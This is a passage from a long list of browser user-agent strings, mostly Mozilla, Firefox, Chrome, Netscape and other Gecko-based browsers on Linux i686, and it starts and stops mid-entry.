Gecko) Ubuntu/10.10 Chromium/10.0.648.133 Chrome/10.0.648.133 Safari/534.16 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.2 (KHTML, like Gecko) Chrome/6.0.453.1 Safari/534.2 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.457.0 Safari/534.3 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.458.0 Safari/534.3 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.460.0 Safari/534.3 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.462.0 Safari/534.3 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/534.3 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.24 Safari/534.7 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Iron/7.0.520.0 Chrome/7.0.520.0 Safari/534.7 Mozilla/5.0 (X11; U; Linux i686; en-US) Gecko Firefox/3.0.8 Mozilla/5.0 (X11; U; Linux i686; en-US) Gecko/20070312 Firefox/2.0 Mozilla/5.0 (X11; U; Linux i686; en-US; Nautilus/1.0Final) Gecko/20020408 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.2) Gecko/20010726 Netscape6/6.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.2) Gecko/20010809 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.2.1) Gecko/20010901 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.3) Gecko/20010801 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.4) Gecko/20010923 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.4) Gecko/20011019 Netscape6/6.2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.4) Gecko/20011022 Netscape6/6.2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.4) Gecko/20011126 Netscape6/6.2.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.4.1) Gecko/20020508 Netscape6/6.2.3 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.6) Gecko/20011202 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.8) Gecko/20020204 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.9) Gecko/20020313 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.9) Gecko/20020408 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.9) Gecko/20020423 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.9) Gecko/20020513 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020529 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020605 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020612 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020623 Debian/1.0.0-0.woody.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20021004 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.1) Gecko/20020823 Netscape/7.0 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.1) Gecko/20020826 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.1) Gecko/20020830 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.1) Gecko/20020903 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.1) Gecko/20020912 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.1) Gecko/20020918 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.1) Gecko/20020919 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.1) Gecko/20021003 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.1) Gecko/20021110 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.1) Gecko/20021122 Debian/1.0.1-2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.1) Gecko/20021203 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.2) Gecko/20021120 Netscape/7.01 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.2) Gecko/20030208 Netscape/7.02 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.2) Gecko/20030716 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0rc2) Gecko/20020510 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0rc2) Gecko/20020513 Netscape/7.0b1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0rc3) Gecko/20020529 Debian/1.0rc3-1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1) Gecko/20020826 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1) Gecko/20020828 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1) Gecko/20020829 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1) Gecko/20020913 Debian/1.1-1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1a) Gecko/20020610 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1b) Gecko/20020722 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2) Gecko/20021126 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2) Gecko/20021202 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1) Gecko/20021130 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1) Gecko/20021203 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1) Gecko/20021204 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1) Gecko/20021208 Debian/1.2.1-2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1) Gecko/20021213 Debian/1.2.1-2.bunk Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1) Gecko/20030113 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1) Gecko/20030225 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1) Gecko/20030409 Debian/1.2.1-9woody2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1) Gecko/20030427 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1; aggregator:Spinn3r (Spinn3r 3.1); http://spinn3r.com/robot) Gecko/20021130 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2a) Gecko/20020910 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2b) Gecko/20021007 Phoenix/0.3 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2b) Gecko/20021014 Phoenix/0.3 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2b) Gecko/20021016 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2b) Gecko/20021029 Phoenix/0.4 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.3) Gecko/20030312 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.3) Gecko/20030313 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.3) Gecko/20030314 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.3) Gecko/20030320 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.3) Gecko/20030326 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.3) Gecko/20030327 Debian/1.3-4 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.3) Gecko/20030401 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.3) Gecko/20030413 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.3) Gecko/20030523 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.3.1) Gecko/20030425 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.3.1) Gecko/20030428 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.3a) Gecko/20021207 Phoenix/0.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.3b) Gecko/20021213 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.3b) Gecko/20030125 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.3b) Gecko/20030210 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030723 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030818 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030821 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030827 Debian/1.4-3 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030828 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030908 Debian/1.4-4 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030908 Epiphany/0.9.2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4.1) Gecko/20031114 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4.1) Gecko/20040406 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4.2) Gecko/20040220 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4a) Gecko/20030401 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4a) Gecko/20030425 Mozilla Firebird/0.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4b) Gecko/20030505 Mozilla Firebird/0.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4b) Gecko/20030516 Mozilla Firebird/0.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4b) Gecko/20030607 Mozilla Firebird/0.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4b) Gecko/20030630 Mozilla Firebird/0.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5) Gecko/20031007 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5a) Gecko/20030728 Mozilla Firebird/0.6.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040113 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040114 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040114 Epiphany/1.0.7 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040225 Firefox/0.8 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040413 Debian/1.6-5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040413 Epiphany/1.2.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040510 Galeon/1.3.16 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040614 Firefox/0.8 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20051114 Firefox/1.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20070725 Firefox/2.0.0.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/2008092414 Firefox/3.0.3 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7) Gecko/20040514 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7) Gecko/20040630 Firefox/0.9.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7) Gecko/20040802 Firefox/0.9.2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7) Gecko/20040917 Firefox/0.9.3 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20050715 Firefox/1.0.6 SUSE/1.0.6-16 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20050716 Firefox/1.0.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20050719 Red Hat/1.0.6-1.4.1 Firefox/1.0.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20050720 Fedora/1.0.6-1.1.fc3 Firefox/1.0.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20050720 Fedora/1.0.6-1.1.fc4.k12ltsp.4.4.0 Firefox/1.0.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20050721 Firefox/1.0.6 (Ubuntu package 1.0.6) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20050811 Fedora/1.7.10-1.2.1.legacy Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20050811 Firefox/1.0.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20050815 Firefox/1.0.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20050825 Firefox/1.0.4 (Debian package 1.0.4-2sarge3) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20050911 Firefox/1.0.6 (Debian package 1.0.6-5) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20050914 Firefox/1.0.4 (Debian package 1.0.4-2sarge4) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20050918 Firefox/1.0.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20050920 Firefox/1.0.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20050921 Firefox/1.0.7 Mandriva/1.0.6-16.1.20060mdk (2006.0) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20050921 Firefox/1.0.7 Mandriva/1.0.6-16.4.20060mdk (2006.0) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20050921 Firefox/1.5.0.2 Mandriva/1.0.6-15mdk (2006.0) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20050925 Firefox/1.0.4 (Debian package 1.0.4-2sarge5) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20051106 Firefox/1.0.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20051111 Firefox/1.0.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20060410 Firefox/1.0.8 Mandriva/1.0.6-16.5.20060mdk (2006.0) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20060505 Firefox/1.0.4 (Debian package 1.0.4-2sarge7) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20060629 Firefox/1.0.4 (Debian package 1.0.4-2sarge9) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20060902 Firefox/1.0.4 (Debian package 1.0.4-2sarge11) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20060902 Firefox/2.0 (Debian package 1.0.4-2sarge11) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20060927 Firefox/1.0.4 (Debian package 1.0.4-2sarge12) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20061113 Firefox/1.0.4 (Debian package 1.0.4-2sarge13) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20070116 Firefox/1.0.4 (Debian package 1.0.4-2sarge15) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20070530 Firefox/1.0.4 (Debian package 1.0.4-2sarge17) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.11) Gecko/20050729 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20050920 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20050920 Firefox/1.0.7 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20050920 Firefox/1.0.7 SUSE/1.0.7-0.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20050921 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20050921 Firefox/1.0.7 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20050921 Red Hat/1.0.7-1.4.1 Firefox/1.0.7 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20050921 Red Hat/1.7.12-1.1.3.2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20050922 Fedora/1.0.7-1.1.fc3 Firefox/1.0.7 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20050922 Fedora/1.0.7-1.1.fc4 Firefox/1.0.7 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20050922 Firefox/1.0.7 (Debian package 1.0.7-1) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20050922 Firefox/1.0.7 (Ubuntu package 1.0.7) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20050923 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20050923 CentOS/1.0.7-1.4.1.centos4 Firefox/1.0.7 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20050926 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20050927 Firefox/1.0.7 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20050929 Firefox/1.0.7 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20050929 Galeon/1.3.21 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051001 Firefox/1.0.7 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051003 Firefox/1.0.7 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051007 Debian/1.7.12-1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051007 Galeon/2.0.0 (Debian package 2.0.0-1) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051008 Firefox/1.0.7 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Debian/1.7.12-0ubuntu2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Epiphany/1.8.2 (Ubuntu) (Ubuntu package 1.0.7) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.4 (Ubuntu package 1.0.7) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.5 (Ubuntu package 1.0.7) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051011 Firefox/1.0.7 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051013 Debian/1.7.12-1ubuntu1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051013 Firefox/1.0.7 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051020 Firefox/1.0.7 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051025 Firefox/1.0.7 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051030 Firefox/1.0.7 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051107 Firefox/1.0.7 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051113 Firefox/1.0.7 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051115 Firefox/1.0.7 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051123 Firefox/1.0.7 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051203 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051205 Firefox/1.0.7 Mnenhy/0.7.2.0 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051207 Firefox/1.0.7 (Debian package 1.x.1.0.7-8) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051212 Firefox/1.0.7 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051213 Firefox/1.0.7 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051214 Firefox/1.0.7 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051215 Epiphany/1.8.4.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051215 Firefox/1.0.7 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051216 Firefox/1.0.7 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051217 Firefox/1.0.7 (ax) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051225 Firefox/1.0.7 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20060106 Firefox/1.0.7 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20060122 Galeon/2.0.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20060123 Firefox/1.0.7 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20060125 Firefox/1.0.7 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20060130 Red Hat/1.0.7-1.4.3 Firefox/1.0.7 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20060202 CentOS/1.0.7-1.4.3.centos4 Firefox/1.0.7 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20060202 Fedora/1.0.7-1.2.fc4 Firefox/1.0.7 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20060202 Fedora/1.7.12-1.5.2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20060204 Firefox/1.0.7 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20060205 Debian/1.7.12-1.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20060208 Epiphany/1.8.3 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20060216 Debian/1.7.12-1.1ubuntu2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20060329 Firefox/1.0.7 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20060607 Debian/1.7.12-1.2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.13) Gecko/20060411 Firefox/1.0.8 SUSE/1.0.8-0.2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.13) Gecko/20060413 Red Hat/1.0.8-1.4.1 Firefox/1.0.8 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.13) Gecko/20060417 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.13) Gecko/20060427 Debian/1.7.13-0ubuntu05.04 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.13) Gecko/20060501 Epiphany/2.14 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.13) Gecko/20060501 Galeon/2.0.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.13) Gecko/20060717 Debian/1.7.13-0.2ubuntu1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.2) Gecko/20040803 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.2) Gecko/20040804 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.2) Gecko/20040805 Netscape/7.2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.2) Gecko/20040906 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.2) Gecko/20040906 Galeon/1.3.17 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.3) Gecko/20040913 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.3) Gecko/20040924 Epiphany/1.4.4 (Ubuntu) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.3) Gecko/20041007 Debian/1.7.3-5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.3) Gecko/20041007 Epiphany/1.4.7 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.3) Gecko/20041007 Galeon/1.3.18 (Debian package 1.3.18-1.1) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20041013 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20041107 Firefox/1.0 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20041117 Firefox/1.0 (Debian package 1.0-2.0.0.45.linspire0.4) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20041128 Firefox/1.0 (Debian package 1.0-4) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20041204 Firefox/1.0 (Debian package 1.0.x.2-1) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20041215 Firefox/1.0 Red Hat/1.0-12.EL4 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20041218 Firefox/1.0 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20041221 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20050210 Firefox/1.0 (Debian package 1.0+dfsg.1-6) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20050221 Firefox/1.0 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20050814 Firefox/1.0 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20060127 Netscape/8.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20070321 Netscape/8.1.3 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20070321 Netscape/9.0 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.6) Gecko/20050225 Firefox/1.0.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.6) Gecko/20050310 Firefox/1.0.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.6) Gecko/20050311 Firefox/1.0.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.6) Gecko/20050317 Firefox/1.0.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.6) Gecko/20050317 Firefox/1.0.2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.6) Gecko/20050317 Firefox/1.0.7 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.6) Gecko/20050319 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.6) Gecko/20050328 Fedora/1.7.6-1.2.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.6) Gecko/20050405 Firefox/1.0 (Ubuntu package 1.0.2) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.7) Gecko/20050414 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.7) Gecko/20050420 Debian/1.7.7-2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.7) Gecko/20050421 Firefox/1.0.3 (Debian package 1.0.3-2) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.7) Gecko/20050427 Red Hat/1.7.7-1.1.3.4 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050511 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4 SUSE/1.0.4-1.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050512 Firefox/1.0.4 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050512 Red Hat/1.7.8-1.1.3.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050513 Debian/1.7.8-1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050513 Epiphany/1.4.8 (Debian) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050513 Fedora/1.0.4-1.3.1 Firefox/1.0.4 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050513 Firefox/1.0.4 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050513 Galeon/1.3.20 (Debian package 1.3.20-1) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050517 Firefox/1.0.4 (Debian package 1.0.4-2) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050523 